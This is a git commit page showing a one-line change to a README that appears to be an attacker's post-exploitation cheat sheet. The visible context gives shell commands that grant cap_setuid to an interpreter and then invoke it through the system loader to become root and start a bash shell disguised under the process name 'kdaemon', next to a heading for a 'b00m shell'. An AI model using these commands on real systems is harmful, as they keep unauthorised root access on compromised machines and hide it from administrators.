Update README.md

This commit is contained in:
skyper
2024-08-11 14:07:17 +01:00
committed by GitHub
parent f43dd9f155
commit 12b022a46f
+1 -1
View File
@@ -1638,7 +1638,7 @@ setcap cap_setuid+ep "${fn}"
### Execute as non-root user to get root
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
p="$(command -v python3 2>/dev/null)" || p="$(command -v python)"
exec "${fn:?}" "$p" -c 'import os;os.setgid(0);os.setuid(0);os.execlp("bash", "kdaemon")'
"${fn:?}" "$p" -c 'import os;os.setgid(0);os.setuid(0);os.execlp("bash", "kdaemon")'
```
#### 2. Good old b00m shell